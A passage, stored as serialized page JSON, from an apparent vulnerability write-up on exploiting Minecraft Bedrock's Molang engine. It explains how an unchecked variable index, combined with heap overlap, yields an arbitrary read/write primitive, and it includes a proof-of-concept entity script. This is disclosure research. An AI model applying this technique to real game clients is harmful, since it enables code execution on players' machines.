value;\n",{"type":21,"tag":85,"props":153177,"children":153178},{"class":87,"line":1348},[153179,153184,153188,153192,153197,153201],{"type":21,"tag":85,"props":153180,"children":153181},{"style":114},[153182],{"type":26,"value":153183},"        std::vector",{"type":21,"tag":85,"props":153185,"children":153186},{"style":169},[153187],{"type":26,"value":117},{"type":21,"tag":85,"props":153189,"children":153190},{"style":102},[153191],{"type":26,"value":9814},{"type":21,"tag":85,"props":153193,"children":153194},{"style":114},[153195],{"type":26,"value":153196}," MolangScriptArg",{"type":21,"tag":85,"props":153198,"children":153199},{"style":169},[153200],{"type":26,"value":10877},{"type":21,"tag":85,"props":153202,"children":153203},{"style":114},[153204],{"type":26,"value":153205}," struct_fields;\n",{"type":21,"tag":85,"props":153207,"children":153208},{"class":87,"line":1386},[153209],{"type":21,"tag":85,"props":153210,"children":153211},{"style":114},[153212],{"type":26,"value":153213},"        \n",{"type":21,"tag":85,"props":153215,"children":153216},{"class":87,"line":1394},[153217],{"type":21,"tag":85,"props":153218,"children":153219},{"style":114},[153220],{"type":26,"value":124501},{"type":21,"tag":85,"props":153222,"children":153223},{"class":87,"line":1402},[153224],{"type":21,"tag":85,"props":153225,"children":153226},{"style":114},[153227],{"type":26,"value":39445},{"type":21,"tag":85,"props":153229,"children":153230},{"class":87,"line":3145},[153231],{"type":21,"tag":85,"props":153232,"children":153233},{"style":114},[153234],{"type":26,"value":16998},{"type":21,"tag":22,"props":153236,"children":153237},{},[153238,153240,153245],{"type":26,"value":153239},"In memory a ",{"type":21,"tag":66,"props":153241,"children":153243},{"className":153242},[],[153244],{"type":26,"value":153063},{"type":26,"value":153246}," instance resembles:",{"type":21,"tag":75,"props":153248,"children":153250},{"code":153249},"      +---------------+---------------+\n+0x00 |  FNV-1 hash   |std::string.buf|\n      +---------------+---------------+\n+0x10 |std::string.buf|std::string.len|\n      +---------------+---------------+\n+0x20 |std::string.cap|   Unknown     |\n      +-------+-------+---------------+\n+0x30 | Type  |Unused |Variable value |\n      +-------+-------+---------------+\n+0x40 |std::vector.buf|std::vector.len|\n      +---------------+---------------+\n+0x50 |std::vector.cap|   Unknown     |\n      +---------------+---------------+\n      |     . . .     |     . . .     |\n",[153251],{"type":21,"tag":66,"props":153252,"children":153253},{"__ignoreMap":7},[153254],{"type":26,"value":153249},{"type":21,"tag":22,"props":153256,"children":153257},{},[153258],{"type":26,"value":153259},"For reference, example debugger view of the layout:",{"type":21,"tag":22,"props":153261,"children":153262},{},[153263],{"type":21,"tag":4681,"props":153264,"children":153266},{"alt":51034,"src":153265},"/posts/minecraft-heap-overflow-to-rce/image8.png",[],{"type":21,"tag":22,"props":153268,"children":153269},{},[153270],{"type":26,"value":153271},"The full structure is larger and contains more fields than shown, but many are irrelevant to the exploit.",{"type":21,"tag":22,"props":153273,"children":153274},{},[153275,153277,153283,153285,153290,153292,153298,153300,153305,153306,153311,153313,153318,153319,153325,153326,153332],{"type":26,"value":153276},"We only care about the ",{"type":21,"tag":66,"props":153278,"children":153280},{"className":153279},[],[153281],{"type":26,"value":153282},"MolangScriptArg",{"type":26,"value":153284}," beginning at offset ",{"type":21,"tag":66,"props":153286,"children":153288},{"className":153287},[],[153289],{"type":26,"value":129380},{"type":26,"value":153291}," because it contains variable values. In the screenshot above, the ",{"type":21,"tag":66,"props":153293,"children":153295},{"className":153294},[],[153296],{"type":26,"value":153297},"value_type",{"type":26,"value":153299}," at ",{"type":21,"tag":66,"props":153301,"children":153303},{"className":153302},[],[153304],{"type":26,"value":129380},{"type":26,"value":6268},{"type":21,"tag":66,"props":153307,"children":153309},{"className":153308},[],[153310],{"type":26,"value":4789},{"type":26,"value":153312}," (meaning float), and the ",{"type":21,"tag":66,"props":153314,"children":153316},{"className":153315},[],[153317],{"type":26,"value":39600},{"type":26,"value":153299},{"type":21,"tag":66,"props":153320,"children":153322},{"className":153321},[],[153323],{"type":26,"value":153324},"0x38",{"type":26,"value":6268},{"type":21,"tag":66,"props":153327,"children":153329},{"className":153328},[],[153330],{"type":26,"value":153331},"0xbf2070c8",{"type":26,"value":73},{"type":21,"tag":22,"props":153334,"children":153335},{},[153336,153338,153344,153346,153351,153353,153358,153359,153364,153366,153371,153373,153378],{"type":26,"value":153337},"During assignment, such as ",{"type":21,"tag":66,"props":153339,"children":153341},{"className":153340},[],[153342],{"type":26,"value":153343},"variable.a = variable.b",{"type":26,"value":153345},", each field of ",{"type":21,"tag":66,"props":153347,"children":153349},{"className":153348},[],[153350],{"type":26,"value":153282},{"type":26,"value":153352}," is copied from variable ",{"type":21,"tag":66,"props":153354,"children":153356},{"className":153355},[],[153357],{"type":26,"value":3994},{"type":26,"value":57233},{"type":21,"tag":66,"props":153360,"children":153362},{"className":153361},[],[153363],{"type":26,"value":335},{"type":26,"value":153365},". Interestingly, the ",{"type":21,"tag":66,"props":153367,"children":153369},{"className":153368},[],[153370],{"type":26,"value":39600},{"type":26,"value":153372}," field is always copied as a ",{"type":21,"tag":66,"props":153374,"children":153376},{"className":153375},[],[153377],{"type":26,"value":56091},{"type":26,"value":153379}," even if the type is a 32-bit float.",{"type":21,"tag":22,"props":153381,"children":153382},{},[153383,153385,153391],{"type":26,"value":153384},"Each entity stores its variables in a per-entity vector called ",{"type":21,"tag":66,"props":153386,"children":153388},{"className":153387},[],[153389],{"type":26,"value":153390},"MolangVariableMap",{"type":26,"value":73},{"type":21,"tag":19318,"props":153393,"children":153395},{"id":153394},"molangvariablemap",[153396],{"type":26,"value":153390},{"type":21,"tag":22,"props":153398,"children":153399},{},[153400,153405,153407,153413,153415,153421],{"type":21,"tag":66,"props":153401,"children":153403},{"className":153402},[],[153404],{"type":26,"value":153390},{"type":26,"value":153406}," is simply a ",{"type":21,"tag":66,"props":153408,"children":153410},{"className":153409},[],[153411],{"type":26,"value":153412},"std::vector\u003CMolangVariable *>",{"type":26,"value":153414}," contained per entity. To reason about its memory we need to recall MSVC ",{"type":21,"tag":66,"props":153416,"children":153418},{"className":153417},[],[153419],{"type":26,"value":153420},"std::vector",{"type":26,"value":153422}," layout:",{"type":21,"tag":75,"props":153424,"children":153426},{"code":153425,"language":3918,"meta":7,"className":16935,"style":7},"struct vector {\n    void *buf;\n    void *len;\n    void *cap;\n};\n",[153427],{"type":21,"tag":66,"props":153428,"children":153429},{"__ignoreMap":7},[153430,153442,153458,153474,153490],{"type":21,"tag":85,"props":153431,"children":153432},{"class":87,"line":88},[153433,153437],{"type":21,"tag":85,"props":153434,"children":153435},{"style":102},[153436],{"type":26,"value":9814},{"type":21,"tag":85,"props":153438,"children":153439},{"style":114},[153440],{"type":26,"value":153441}," vector {\n",{"type":21,"tag":85,"props":153443,"children":153444},{"class":87,"line":98},[153445,153449,153453],{"type":21,"tag":85,"props":153446,"children":153447},{"style":102},[153448],{"type":26,"value":16968},{"type":21,"tag":85,"props":153450,"children":153451},{"style":169},[153452],{"type":26,"value":10231},{"type":21,"tag":85,"props":153454,"children":153455},{"style":114},[153456],{"type":26,"value":153457},"buf;\n",{"type":21,"tag":85,"props":153459,"children":153460},{"class":87,"line":151},[153461,153465,153469],{"type":21,"tag":85,"props":153462,"children":153463},{"style":102},[153464],{"type":26,"value":16968},{"type":21,"tag":85,"props":153466,"children":153467},{"style":169},[153468],{"type":26,"value":10231},{"type":21,"tag":85,"props":153470,"children":153471},{"style":114},[153472],{"type":26,"value":153473},"len;\n",{"type":21,"tag":85,"props":153475,"children":153476},{"class":87,"line":160},[153477,153481,153485],{"type":21,"tag":85,"props":153478,"children":153479},{"style":102},[153480],{"type":26,"value":16968},{"type":21,"tag":85,"props":153482,"children":153483},{"style":169},[153484],{"type":26,"value":10231},{"type":21,"tag":85,"props":153486,"children":153487},{"style":114},[153488],{"type":26,"value":153489},"cap;\n",{"type":21,"tag":85,"props":153491,"children":153492},{"class":87,"line":185},[153493],{"type":21,"tag":85,"props":153494,"children":153495},{"style":114},[153496],{"type":26,"value":16998},{"type":21,"tag":22,"props":153498,"children":153499},{},[153500,153505,153507,153512,153514,153520,153522,153527,153528,153533],{"type":21,"tag":66,"props":153501,"children":153503},{"className":153502},[],[153504],{"type":26,"value":150586},{"type":26,"value":153506}," points to the allocated array of elements, ",{"type":21,"tag":66,"props":153508,"children":153510},{"className":153509},[],[153511],{"type":26,"value":3520},{"type":26,"value":153513}," points just past the last used element, and ",{"type":21,"tag":66,"props":153515,"children":153517},{"className":153516},[],[153518],{"type":26,"value":153519},"cap",{"type":26,"value":153521}," points to the end of the allocated buffer. Notably, the types of ",{"type":21,"tag":66,"props":153523,"children":153525},{"className":153524},[],[153526],{"type":26,"value":3520},{"type":26,"value":11408},{"type":21,"tag":66,"props":153529,"children":153531},{"className":153530},[],[153532],{"type":26,"value":153519},{"type":26,"value":153534}," aren't typical integer types for sizes, but both are pointers.",{"type":21,"tag":22,"props":153536,"children":153537},{},[153538],{"type":26,"value":153539},"Example layout for a vector holding three variable pointers plus one unused slot:",{"type":21,"tag":75,"props":153541,"children":153543},{"code":153542},"+---------+         +--------------------+\n|   buf   +-------> | MolangVariable A*  |\n+---------+         +--------------------+\n|   len   +----+    | MolangVariable B*  |\n+---------+    |    +--------------------+\n|   cap   |    |    | MolangVariable C*  |\n+----+----+    |    +--------------------+\n     |         +--> | Empty element slot |\n     |              +--------------------+\n     |                                   ^\n     +-----------------------------------+\n",[153544],{"type":21,"tag":66,"props":153545,"children":153546},{"__ignoreMap":7},[153547],{"type":26,"value":153542},{"type":21,"tag":22,"props":153549,"children":153550},{},[153551,153553,153559,153561,153567],{"type":26,"value":153552},"Because each entity can create and initialize variables independently, the indices of specific variables (e.g., ",{"type":21,"tag":66,"props":153554,"children":153556},{"className":153555},[],[153557],{"type":26,"value":153558},"variable.result",{"type":26,"value":153560},") may differ between entities. To get around this, ",{"type":21,"tag":66,"props":153562,"children":153564},{"className":153563},[],[153565],{"type":26,"value":153566},"MolangIndexMap",{"type":26,"value":153568}," is used to map a global variable name to the correct per-entity slot.",{"type":21,"tag":19318,"props":153570,"children":153572},{"id":153571},"molangindexmap",[153573],{"type":26,"value":153566},{"type":21,"tag":22,"props":153575,"children":153576},{},[153577,153582,153584,153590,153592,153598],{"type":21,"tag":66,"props":153578,"children":153580},{"className":153579},[],[153581],{"type":26,"value":153566},{"type":26,"value":153583}," is a per-entity ",{"type":21,"tag":66,"props":153585,"children":153587},{"className":153586},[],[153588],{"type":26,"value":153589},"std::vector\u003Cuint16_t>",{"type":26,"value":153591},". The engine maintains a global hashmap that maps variable names to a global index. When the client encounters a statement like ",{"type":21,"tag":66,"props":153593,"children":153595},{"className":153594},[],[153596],{"type":26,"value":153597},"variable.result = 0",{"type":26,"value":153599}," it:",{"type":21,"tag":841,"props":153601,"children":153602},{},[153603,153613,153623],{"type":21,"tag":845,"props":153604,"children":153605},{},[153606,153608],{"type":26,"value":153607},"Checks the global hashmap for ",{"type":21,"tag":66,"props":153609,"children":153611},{"className":153610},[],[153612],{"type":26,"value":3463},{"type":21,"tag":845,"props":153614,"children":153615},{},[153616,153618],{"type":26,"value":153617},"If found, uses the global index to look up the per-entity index in ",{"type":21,"tag":66,"props":153619,"children":153621},{"className":153620},[],[153622],{"type":26,"value":153566},{"type":21,"tag":845,"props":153624,"children":153625},{},[153626,153628],{"type":26,"value":153627},"If not found, creates a new global entry and assigns it ",{"type":21,"tag":66,"props":153629,"children":153631},{"className":153630},[],[153632],{"type":26,"value":153633},"last_index + 1",{"type":21,"tag":22,"props":153635,"children":153636},{},[153637,153639,153644,153646,153651,153653,153658,153660,153665,153667,153672,153673,153679,153681,153686],{"type":26,"value":153638},"This means the same global index for variable ",{"type":21,"tag":66,"props":153640,"children":153642},{"className":153641},[],[153643],{"type":26,"value":3463},{"type":26,"value":153645}," maps to the same position inside every entity’s ",{"type":21,"tag":66,"props":153647,"children":153649},{"className":153648},[],[153650],{"type":26,"value":153566},{"type":26,"value":153652},", but the actual ",{"type":21,"tag":66,"props":153654,"children":153656},{"className":153655},[],[153657],{"type":26,"value":153063},{"type":26,"value":153659}," for ",{"type":21,"tag":66,"props":153661,"children":153663},{"className":153662},[],[153664],{"type":26,"value":3463},{"type":26,"value":153666}," may live at different slots inside each entity's ",{"type":21,"tag":66,"props":153668,"children":153670},{"className":153669},[],[153671],{"type":26,"value":153390},{"type":26,"value":18956},{"type":21,"tag":66,"props":153674,"children":153676},{"className":153675},[],[153677],{"type":26,"value":153678},"Entity.MolangIndexMap[global_index]",{"type":26,"value":153680}," stores the per-entity index (slot) of variable ",{"type":21,"tag":66,"props":153682,"children":153684},{"className":153683},[],[153685],{"type":26,"value":3463},{"type":26,"value":73},{"type":21,"tag":22,"props":153688,"children":153689},{},[153690,153692,153697,153699,153704,153706,153711,153713,153718,153720,153726,153728,153733],{"type":26,"value":153691},"Importantly, we found that indices in the ",{"type":21,"tag":66,"props":153693,"children":153695},{"className":153694},[],[153696],{"type":26,"value":153566},{"type":26,"value":153698}," are trusted and the client does not validate that a per-entity index actually lies within the bounds of that entity’s ",{"type":21,"tag":66,"props":153700,"children":153702},{"className":153701},[],[153703],{"type":26,"value":153390},{"type":26,"value":153705},". This means that if we overwrite the index of variable ",{"type":21,"tag":66,"props":153707,"children":153709},{"className":153708},[],[153710],{"type":26,"value":3463},{"type":26,"value":153712}," (an example, it can be any variable) with the chunk overlap and make it out-of-bounds for that entity’s ",{"type":21,"tag":66,"props":153714,"children":153716},{"className":153715},[],[153717],{"type":26,"value":153390},{"type":26,"value":153719},", we could read from and write to ",{"type":21,"tag":66,"props":153721,"children":153723},{"className":153722},[],[153724],{"type":26,"value":153725},"address + 0x38",{"type":26,"value":153727}," through ",{"type":21,"tag":66,"props":153729,"children":153731},{"className":153730},[],[153732],{"type":26,"value":153558},{"type":26,"value":73},{"type":21,"tag":10022,"props":153735,"children":153737},{"id":153736},"building-a-molang-arbitrary-rw-primitive",[153738],{"type":26,"value":153739},"Building a Molang Arbitrary R/W Primitive",{"type":21,"tag":22,"props":153741,"children":153742},{},[153743,153745,153750,153752,153757],{"type":26,"value":153744},"We needed some pointer inside a heap-sprayable object that we could use to build an arbitrary read/write primitive in Molang. Eventually, we came up with the thought of using internal pointers of ",{"type":21,"tag":66,"props":153746,"children":153748},{"className":153747},[],[153749],{"type":26,"value":153420},{"type":26,"value":153751}," - specifically, of ",{"type":21,"tag":66,"props":153753,"children":153755},{"className":153754},[],[153756],{"type":26,"value":153390},{"type":26,"value":153758}," vector.",{"type":21,"tag":22,"props":153760,"children":153761},{},[153762,153764,153769,153771,153776,153777,153782,153784,153789],{"type":26,"value":153763},"Because every entity object is heap-allocated and contains a ",{"type":21,"tag":66,"props":153765,"children":153767},{"className":153766},[],[153768],{"type":26,"value":153390},{"type":26,"value":153770}," vector, we realised we might be able to overwrite a variable index so it reads the ",{"type":21,"tag":66,"props":153772,"children":153774},{"className":153773},[],[153775],{"type":26,"value":150586},{"type":26,"value":56248},{"type":21,"tag":66,"props":153778,"children":153780},{"className":153779},[],[153781],{"type":26,"value":153390},{"type":26,"value":153783}," vector belonging to an entity object placed just next the ",{"type":21,"tag":66,"props":153785,"children":153787},{"className":153786},[],[153788],{"type":26,"value":153390},{"type":26,"value":153790}," allocated buffer.",{"type":21,"tag":75,"props":153792,"children":153794},{"code":153793},"      +-------------+ \u003C--+                   \n+---> | variable.a  |    |                   \n|     +-------------+    |                   \n|     | variable.b  |    |                   \n|     +-------------+    +- MolangVariableMap allocated buffer\n|     |    . . .    |    |                   \n|     +-------------+    |                   \n|     | variable.f  |    |                   \n|     +-------------+ \u003C--+--+                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     +------+------+       +- Entity Object \n+-----+ buf  | len  |       |                \n      +------+------+       |                \n      | cap  |      |       |                \n      +------+      |       |                \n      +-------------+ \u003C-----+                                       \n",[153795],{"type":21,"tag":66,"props":153796,"children":153797},{"__ignoreMap":7},[153798],{"type":26,"value":153793},{"type":21,"tag":22,"props":153800,"children":153801},{},[153802,153804,153809,153811,153817,153819,153824,153825,153831,153832,153837,153839,153844,153846,153851,153853,153858,153860,153865,153867,153872,153874,153879,153881,153887,153889,153894,153896,153901],{"type":26,"value":153803},"In the scenario above, the ",{"type":21,"tag":66,"props":153805,"children":153807},{"className":153806},[],[153808],{"type":26,"value":153566},{"type":26,"value":153810}," would map ",{"type":21,"tag":66,"props":153812,"children":153814},{"className":153813},[],[153815],{"type":26,"value":153816},"variable.a",{"type":26,"value":153818}," -> index ",{"type":21,"tag":66,"props":153820,"children":153822},{"className":153821},[],[153823],{"type":26,"value":4789},{"type":26,"value":256},{"type":21,"tag":66,"props":153826,"children":153828},{"className":153827},[],[153829],{"type":26,"value":153830},"variable.b",{"type":26,"value":153818},{"type":21,"tag":66,"props":153833,"children":153835},{"className":153834},[],[153836],{"type":26,"value":4779},{"type":26,"value":153838},", and so on. If we overwrite the index for ",{"type":21,"tag":66,"props":153840,"children":153842},{"className":153841},[],[153843],{"type":26,"value":153816},{"type":26,"value":153845}," with a value that is out-of-bounds for the ",{"type":21,"tag":66,"props":153847,"children":153849},{"className":153848},[],[153850],{"type":26,"value":153390},{"type":26,"value":153852},", it can instead index the ",{"type":21,"tag":66,"props":153854,"children":153856},{"className":153855},[],[153857],{"type":26,"value":150586},{"type":26,"value":153859}," field of the entity object above. Reading ",{"type":21,"tag":66,"props":153861,"children":153863},{"className":153862},[],[153864],{"type":26,"value":153816},{"type":26,"value":153866}," will then return the pointer stored at offset ",{"type":21,"tag":66,"props":153868,"children":153870},{"className":153869},[],[153871],{"type":26,"value":153324},{"type":26,"value":153873}," from the start of the ",{"type":21,"tag":66,"props":153875,"children":153877},{"className":153876},[],[153878],{"type":26,"value":153390},{"type":26,"value":153880}," (which in this diagram corresponds to ",{"type":21,"tag":66,"props":153882,"children":153884},{"className":153883},[],[153885],{"type":26,"value":153886},"variable.f",{"type":26,"value":153888},"), and writing to ",{"type":21,"tag":66,"props":153890,"children":153892},{"className":153891},[],[153893],{"type":26,"value":153816},{"type":26,"value":153895}," will overwrite that pointer - corrupting ",{"type":21,"tag":66,"props":153897,"children":153899},{"className":153898},[],[153900],{"type":26,"value":153886},{"type":26,"value":73},{"type":21,"tag":22,"props":153903,"children":153904},{},[153905,153907,153912,153913,153919,153921,153926,153928,153934,153936,153941,153943,153948,153950,153956,153958,153964,153966,153971],{"type":26,"value":153906},"To leak the address of the Minecraft executable we could increment ",{"type":21,"tag":66,"props":153908,"children":153910},{"className":153909},[],[153911],{"type":26,"value":153816},{"type":26,"value":717},{"type":21,"tag":66,"props":153914,"children":153916},{"className":153915},[],[153917],{"type":26,"value":153918},"variable.a += 8",{"type":26,"value":153920},"), which advances the pointer used for ",{"type":21,"tag":66,"props":153922,"children":153924},{"className":153923},[],[153925],{"type":26,"value":153886},{"type":26,"value":153927}," by 8 bytes. The Molang script would repeat this until it finds a vtable pointer in the heap. At that point we can write arbitrary values into writable regions of the Minecraft process by setting ",{"type":21,"tag":66,"props":153929,"children":153931},{"className":153930},[],[153932],{"type":26,"value":153933},"variable.a = variable.exe_leak + \u003Coffset>",{"type":26,"value":153935}," - this updates the ",{"type":21,"tag":66,"props":153937,"children":153939},{"className":153938},[],[153940],{"type":26,"value":153886},{"type":26,"value":153942}," pointer to our chosen address, and writing to ",{"type":21,"tag":66,"props":153944,"children":153946},{"className":153945},[],[153947],{"type":26,"value":153886},{"type":26,"value":153949},", for example ",{"type":21,"tag":66,"props":153951,"children":153953},{"className":153952},[],[153954],{"type":26,"value":153955},"variable.f = 1337",{"type":26,"value":153957},", writes the value ",{"type":21,"tag":66,"props":153959,"children":153961},{"className":153960},[],[153962],{"type":26,"value":153963},"1337",{"type":26,"value":153965}," to offset ",{"type":21,"tag":66,"props":153967,"children":153969},{"className":153968},[],[153970],{"type":26,"value":153324},{"type":26,"value":153972}," from that calculated address.",{"type":21,"tag":19318,"props":153974,"children":153976},{"id":153975},"testing-the-idea",[153977],{"type":26,"value":153978},"Testing the Idea",{"type":21,"tag":22,"props":153980,"children":153981},{},[153982,153984,153989,153991,153996,153998,154003],{"type":26,"value":153983},"We tested the idea by manually adding a pointer to the start of ",{"type":21,"tag":66,"props":153985,"children":153987},{"className":153986},[],[153988],{"type":26,"value":153390},{"type":26,"value":153990}," and modifying the index of a variable so that it indexed this out-of-bounds pointer. It ",{"type":21,"tag":39,"props":153992,"children":153993},{},[153994],{"type":26,"value":153995},"almost",{"type":26,"value":153997}," worked - below is the state of the ",{"type":21,"tag":66,"props":153999,"children":154001},{"className":154000},[],[154002],{"type":26,"value":153390},{"type":26,"value":154004},"'s allocated buffer before the Molang script executes:",{"type":21,"tag":22,"props":154006,"children":154007},{},[154008],{"type":21,"tag":4681,"props":154009,"children":154011},{"alt":51034,"src":154010},"/posts/minecraft-heap-overflow-to-rce/image9.png",[],{"type":21,"tag":22,"props":154013,"children":154014},{},[154015],{"type":26,"value":154016},"And this is after execution:",{"type":21,"tag":22,"props":154018,"children":154019},{},[154020],{"type":21,"tag":4681,"props":154021,"children":154023},{"alt":51034,"src":154022},"/posts/minecraft-heap-overflow-to-rce/image10.png",[],{"type":21,"tag":22,"props":154025,"children":154026},{},[154027],{"type":26,"value":154028},"For reference, this is what the relevant entity json file containing our Molang looks like:",{"type":21,"tag":75,"props":154030,"children":154032},{"code":154031,"language":34444,"meta":7,"className":34442,"style":7},"{\n  \"format_version\": \"1.10.0\",\n  \"minecraft:client_entity\": {\n    \"description\": {\n      \"identifier\": \"minecraft:leash_knot\",\n\n      [...]\n        \n      \"scripts\": {\n        \"initialize\": [\n          \"variable.a = 0;\",\n          \"variable.b = 0;\",\n          \"variable.c = 0;\",\n          [...]\n        ],\n        \"pre_animation\": [\n          \"variable.a = 2.310732e-27;\"\n        ]\n      },\n    }\n  }\n}\n",[154033],{"type":21,"tag":66,"props":154034,"children":154035},{"__ignoreMap":7},[154036,154043,154064,154076,154088,154109,154116,154123,154130,154142,154155,154167,154179,154191,154207,154214,154226,154234,154242,154249,154256,154263],{"type":21,"tag":85,"props":154037,"children":154038},{"class":87,"line":88},[154039],{"type":21,"tag":85,"props":154040,"children":154041},{"style":114},[154042],{"type":26,"value":11296},{"type":21,"tag":85,"props":154044,"children":154045},{"class":87,"line":98},[154046,154051,154055,154060],{"type":21,"tag":85,"props":154047,"children":154048},{"style":120},[154049],{"type":26,"value":154050},"  \"format_version\"",{"type":21,"tag":85,"props":154052,"children":154053},{"style":114},[154054],{"type":26,"value":15750},{"type":21,"tag":85,"props":154056,"children":154057},{"style":5026},[154058],{"type":26,"value":154059},"\"1.10.0\"",{"type":21,"tag":85,"props":154061,"children":154062},{"style":114},[154063],{"type":26,"value":182},{"type":21,"tag":85,"props":154065,"children":154066},{"class":87,"line":151},[154067,154072],{"type":21,"tag":85,"props":154068,"children":154069},{"style":120},[154070],{"type":26,"value":154071},"  \"minecraft:client_entity\"",{"type":21,"tag":85,"props":154073,"children":154074},{"style":114},[154075],{"type":26,"value":37470},{"type":21,"tag":85,"props":154077,"children":154078},{"class":87,"line":160},[154079,154084],{"type":21,"tag":85,"props":154080,"children":154081},{"style":120},[154082],{"type":26,"value":154083},"    \"description\"",{"type":21,"tag":85,"props":154085,"children":154086},{"style":114},[154087],{"type":26,"value":37470},{"type":21,"tag":85,"props":154089,"children":154090},{"class":87,"line":185},[154091,154096,154100,154105],{"type":21,"tag":85,"props":154092,"children":154093},{"style":120},[154094],{"type":26,"value":154095},"      \"identifier\"",{"type":21,"tag":85,"props":154097,"children":154098},{"style":114},[154099],{"type":26,"value":15750},{"type":21,"tag":85,"props":154101,"children":154102},{"style":5026},[154103],{"type":26,"value":154104},"\"minecraft:leash_knot\"",{"type":21,"tag":85,"props":154106,"children":154107},{"style":114},[154108],{"type":26,"value":182},{"type":21,"tag":85,"props":154110,"children":154111},{"class":87,"line":501},[154112],{"type":21,"tag":85,"props":154113,"children":154114},{"emptyLinePlaceholder":16},[154115],{"type":26,"value":703},{"type":21,"tag":85,"props":154117,"children":154118},{"class":87,"line":697},[154119],{"type":21,"tag":85,"props":154120,"children":154121},{"style":22835},[154122],{"type":26,"value":127903},{"type":21,"tag":85,"props":154124,"children":154125},{"class":87,"line":706},[154126],{"type":21,"tag":85,"props":154127,"children":154128},{"style":114},[154129],{"type":26,"value":153213},{"type":21,"tag":85,"props":154131,"children":154132},{"class":87,"line":1100},[154133,154138],{"type":21,"tag":85,"props":154134,"children":154135},{"style":120},[154136],{"type":26,"value":154137},"      \"scripts\"",{"type":21,"tag":85,"props":154139,"children":154140},{"style":114},[154141],{"type":26,"value":37470},{"type":21,"tag":85,"props":154143,"children":154144},{"class":87,"line":1339},[154145,154150],{"type":21,"tag":85,"props":154146,"children":154147},{"style":120},[154148],{"type":26,"value":154149},"        \"initialize\"",{"type":21,"tag":85,"props":154151,"children":154152},{"style":114},[154153],{"type":26,"value":154154},": [\n",{"type":21,"tag":85,"props":154156,"children":154157},{"class":87,"line":1348},[154158,154163],{"type":21,"tag":85,"props":154159,"children":154160},{"style":5026},[154161],{"type":26,"value":154162},"          \"variable.a = 0;\"",{"type":21,"tag":85,"props":154164,"children":154165},{"style":114},[154166],{"type":26,"value":182},{"type":21,"tag":85,"props":154168,"children":154169},{"class":87,"line":1386},[154170,154175],{"type":21,"tag":85,"props":154171,"children":154172},{"style":5026},[154173],{"type":26,"value":154174},"          \"variable.b = 0;\"",{"type":21,"tag":85,"props":154176,"children":154177},{"style":114},[154178],{"type":26,"value":182},{"type":21,"tag":85,"props":154180,"children":154181},{"class":87,"line":1394},[154182,154187],{"type":21,"tag":85,"props":154183,"children":154184},{"style":5026},[154185],{"type":26,"value":154186},"          \"variable.c = 0;\"",{"type":21,"tag":85,"props":154188,"children":154189},{"style":114},[154190],{"type":26,"value":182},{"type":21,"tag":85,"props":154192,"children":154193},{"class":87,"line":1402},[154194,154199,154203],{"type":21,"tag":85,"props":154195,"children":154196},{"style":114},[154197],{"type":26,"value":154198},"          [",{"type":21,"tag":85,"props":154200,"children":154201},{"style":22835},[154202],{"type":26,"value":10004},{"type":21,"tag":85,"props":154204,"children":154205},{"style":114},[154206],{"type":26,"value":12189},{"type":21,"tag":85,"props":154208,"children":154209},{"class":87,"line":3145},[154210],{"type":21,"tag":85,"props":154211,"children":154212},{"style":114},[154213],{"type":26,"value":44100},{"type":21,"tag":85,"props":154215,"children":154216},{"class":87,"line":3246},[154217,154222],{"type":21,"tag":85,"props":154218,"children":154219},{"style":120},[154220],{"type":26,"value":154221},"        \"pre_animation\"",{"type":21,"tag":85,"props":154223,"children":154224},{"style":114},[154225],{"type":26,"value":154154},{"type":21,"tag":85,"props":154227,"children":154228},{"class":87,"line":3255},[154229],{"type":21,"tag":85,"props":154230,"children":154231},{"style":5026},[154232],{"type":26,"value":154233},"          \"variable.a = 2.310732e-27;\"\n",{"type":21,"tag":85,"props":154235,"children":154236},{"class":87,"line":3286},[154237],{"type":21,"tag":85,"props":154238,"children":154239},{"style":114},[154240],{"type":26,"value":154241},"        ]\n",{"type":21,"tag":85,"props":154243,"children":154244},{"class":87,"line":3295},[154245],{"type":21,"tag":85,"props":154246,"children":154247},{"style":114},[154248],{"type":26,"value":37647},{"type":21,"tag":85,"props":154250,"children":154251},{"class":87,"line":3308},[154252],{"type":21,"tag":85,"props":154253,"children":154254},{"style":114},[154255],{"type":26,"value":507},{"type":21,"tag":85,"props":154257,"children":154258},{"class":87,"line":3333},[154259],{"type":21,"tag":85,"props":154260,"children":154261},{"style":114},[154262],{"type":26,"value":191},{"type":21,"tag":85,"props":154264,"children":154265},{"class":87,"line":3369},[154266],{"type":21,"tag":85,"props":154267,"children":154268},{"style":114},[154269],{"type":26,"value":2671},{"type":21,"tag":22,"props":154271,"children":154272},{},[154273,154275,154280,154282,154287,154289,154294],{"type":26,"value":154274},"As shown, the pointer of a variable at offset ",{"type":21,"tag":66,"props":154276,"children":154278},{"className":154277},[],[154279],{"type":26,"value":153324},{"type":26,"value":154281}," was modified and the core concept works. During ",{"type":21,"tag":66,"props":154283,"children":154285},{"className":154284},[],[154286],{"type":26,"value":153282},{"type":26,"value":154288}," copy, pointers of some other variables above offset ",{"type":21,"tag":66,"props":154290,"children":154292},{"className":154291},[],[154293],{"type":26,"value":153324},{"type":26,"value":154295}," were removed, but this is fine as we control these variables and can simply not update them during execution. However, we discovered other issues with this approach.",{"type":21,"tag":22,"props":154297,"children":154298},{},[154299],{"type":26,"value":154300},"As mentioned earlier, the only number type in Molang is a 32-bit float, which causes two major problems:",{"type":21,"tag":17108,"props":154302,"children":154303},{},[154304,154317],{"type":21,"tag":845,"props":154305,"children":154306},{},[154307,154309,154315],{"type":26,"value":154308},"The pointer increment is inconsistent because of ASLR. If the lower 32 bits of the address are larger than ",{"type":21,"tag":66,"props":154310,"children":154312},{"className":154311},[],[154313],{"type":26,"value":154314},"FLT_MAX",{"type":26,"value":154316},", the value becomes an invalid float causing the increment operation to fail.",{"type":21,"tag":845,"props":154318,"children":154319},{},[154320,154322,154327,154329,154334,154335,154340,154342,154347],{"type":26,"value":154321},"As noted before, during assignment, ",{"type":21,"tag":66,"props":154323,"children":154325},{"className":154324},[],[154326],{"type":26,"value":153282},{"type":26,"value":154328}," fields are copied, and the ",{"type":21,"tag":66,"props":154330,"children":154332},{"className":154331},[],[154333],{"type":26,"value":39600},{"type":26,"value":153372},{"type":21,"tag":66,"props":154336,"children":154338},{"className":154337},[],[154339],{"type":26,"value":56091},{"type":26,"value":154341},". Since our source ",{"type":21,"tag":66,"props":154343,"children":154345},{"className":154344},[],[154346],{"type":26,"value":153282},{"type":26,"value":154348}," (calculation rvalue) only has the lower 32 bits populated (due to the 32-bit float type), the upper 32 bits of the destination address are always 